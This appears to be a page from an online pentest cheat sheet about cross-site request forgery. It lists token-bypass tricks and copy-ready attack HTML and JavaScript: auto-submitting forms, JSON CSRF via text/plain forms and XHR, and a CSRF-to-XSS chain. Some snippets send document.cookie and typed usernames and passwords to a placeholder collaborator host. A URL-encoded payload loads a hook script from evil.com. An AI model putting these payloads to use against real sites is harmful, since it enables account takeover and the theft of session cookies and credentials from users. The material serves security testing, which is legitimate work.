Pentest Book
Search…
CSRF

Summary

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.
3 conditions:
    A relevant action.
    Cookie-based session handling.
    No unpredictable request parameters.
How to find:
    Remove CSRF token from requests and/or put a blank space.
    Change POST to GET.
    Replace the CSRF token with a random value (for example 1).
    Replace the CSRF token with a random token of the same restraints.
    Extract token with HTML injection.
    Use a CSRF token that has been used before.
    Bypass regex.
    Remove referer header.
    Request a CSRF by executing the call manually and use that token for the request.

Approach

1
- Removing the token parameter entirely
2
- Setting the token to a blank string
3
- Changing the token to an invalid token of the same format
4
- Using a different user's token
5
- Put the parameters in the URL instead of POST body (and remove the token) and change the HTTP verb to GET
6
- Testing every sensitive endpoint
7
- Check whether the token might be guessed / cracked
8
- Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
9
- Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)
Copied!

Quick attacks

1
# HTML GET
2
<a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
3
4
# HTML GET (no interaction)
5
<img src=”http://vulnerable/endpoint?parameter=CSRFd">
6
7
# HTML POST:
8
<form action="http://vulnerable/endpoint" method="POST">
9
<input name="parameter" type="hidden" value="CSRFd" />
10
<input type="submit" value="Submit Request" />
11
</form>
12
13
# HTML POST (no interaction)
14
<form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
15
<input name="parameter" type="hidden" value="CSRFd" />
16
<input type="submit" value="Submit Request" />
17
</form>
18
<script>
19
document.getElementById("autosubmit").submit();
20
</script>
21
22
# JSON GET:
23
<script>
24
var xhr = new XMLHttpRequest();
25
xhr.open("GET", "http://vulnerable/endpoint");
26
xhr.send();
27
</script>
28
29
# JSON POST
30
<script>
31
var xhr = new XMLHttpRequest();
32
xhr.open("POST", "http://vulnerable/endpoint");
33
xhr.setRequestHeader("Content-Type", "text/plain");
34
xhr.send('{"role":admin}');
35
</script>
Copied!

Tools

1
# https://github.com/0xInfection/XSRFProbe
2
xsrfprobe --help
Copied!

Example 1

1
Vulnerable request example:
2
__
3
POST /email/change HTTP/1.1
4
Host: vulnerable-website.com
5
Content-Type: application/x-www-form-urlencoded
6
Content-Length: 30
7
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
8
10
__
11
12
HTML with attack:
13
__
14
<html>
15
<body>
16
<form action="https://vulnerable-website.com/email/change" method="POST">
17
<input type="hidden" name="email" value="[email protected]" />
18
</form>
19
<script>
20
document.forms[0].submit();
21
</script>
22
</body>
23
</html>
24
__
Copied!

Example 2

1
# Exploit CSRF in GET:
2
<img src="https://vulnerable-website.com/email/[email protected]">
3
4
- SameSite cookie property avoid the attack:
5
→ Only from same site:
6
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
7
→ From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):
8
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
9
10
<script>
11
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
12
method: 'POST',
13
mode: 'no-cors',
14
body:document.cookie
15
});
16
</script>
17
18
<input name=username id=username>
19
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
20
method:'POST',
21
mode: 'no-cors',
22
body:username.value+':'+this.value
23
});">
Copied!

Json CSRF

1
Requirements:
2
3
1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
4
2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
5
3. The HTTP request should not be fortify by the Same Origin Policy.
6
7
Bypass 2 & 3:
8
• Change the request method to GET append the body as query parameter.
9
• Test the request without the Customized Token (X-Auth-Token) and also header.
10
• Test the request with exact same length but different token.
11
12
If post is not allowed, can try with URL/param?_method=PUT
13
14
15
<body onload='document.forms[0].submit()'>
16
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
17
<input type="text" name='{"username":"blob","dummy":"' value='"}'>
18
<input type="submit" value="send">
19
</form>
20
21
<!---This results in a request body of:
22
{"username":"blob", "dummy": "="} -->
Copied!

CSRF Token Bypass

1
CSRF Tokens
2
3
Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
4
→ Is transmited to the client through a hidden field:
5
6
7
- Example:
8
__
9
POST /email/change HTTP/1.1
10
Host: vulnerable-website.com
11
Content-Type: application/x-www-form-urlencoded
12
Content-Length: 68
13
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
14
15
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&[email protected]
16
__
17
18
- Validation depends on method (usually POST):
19
__
20
GET /email/[email protected] HTTP/1.1
21
Host: vulnerable-website.com
22
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
23
__
24
25
- Validation depend on token is present (if not, validation is skipped):
26
--
27
POST /email/change HTTP/1.1
28
Host: vulnerable-website.com
29
Content-Type: application/x-www-form-urlencoded
30
Content-Length: 25
31
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
32
34
--
35
- CSRF not tied to user session
36
37
- CSRF tied to a non-session cookie:
38
--
39
POST /email/change HTTP/1.1
40
Host: vulnerable-website.com
41
Content-Type: application/x-www-form-urlencoded
42
Content-Length: 68
43
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
44
45
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
46
--
47
48
- CSRF token duplicated in cookie:
49
--
50
POST /email/change HTTP/1.1
51
Host: vulnerable-website.com
52
Content-Type: application/x-www-form-urlencoded
53
Content-Length: 68
54
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
55
56
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
57
--
58
59
- Validation of referer depends on header present (if not, validation is skipped)
60
61
- Circumvent referer validation (if only checks the domain existence)
62
63
- Remove Anti-CSRF Token
64
- Spoof Anti-CSRF Token by Changing a few bits
65
- Using Same Anti-CSRF Token
66
- Weak Cryptography to generate Anti-CSRF Token
67
- Guessable Anti-CSRF Token
68
- Stealing Token with other attacks such as XSS.
69
- Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)
70
71
Other validations bypasses:
72
1) remove anticsrf tokens & parameter
73
2) pass blank paramter
74
3) add same length token
75
4) add another userss valid anti csrf token
76
5) random token in long length (aaaaaaaaa)
77
6) Try decode token
78
7) Use only static part of the token
Copied!

CSRF sample POC

1
<html>
2
<script>
3
function jsonreq() {
4
var xmlhttp = new XMLHttpRequest();
5
xmlhttp.open("POST","https://target.com/api/endpoint", true);
6
xmlhttp.setRequestHeader("Content-Type","text/plain");
7
//xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
8
xmlhttp.withCredentials = true;
9
xmlhttp.send(JSON.stringify({"test":"x"}));
10
}
11
jsonreq();
12
</script>
13
</html>
Copied!

CSRF to reflected XSS

1
<html>
2
<body>
3
<p>Please wait... ;)</p>
4
<script>
5
let host = 'http://target.com'
6
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
7
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
8
9
function submitRequest() {
10
var req = new XMLHttpRequest();
11
req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
12
req.setRequestHeader("Accept", "*\/*");
13
req.withCredentials = true;
14
req.onreadystatechange = function () {
15
if (req.readyState === 4) {
16
executeXSS();
17
}
18
}
19
req.send();
20
}
21
22
function executeXSS() {
23
window.location.assign(host+'<URI with XSS>'+alert_payload);
24
}
25
26
submitRequest();
27
</script>
28
</body>
29
</html>
Copied!

Mindmaps

Last modified 8mo ago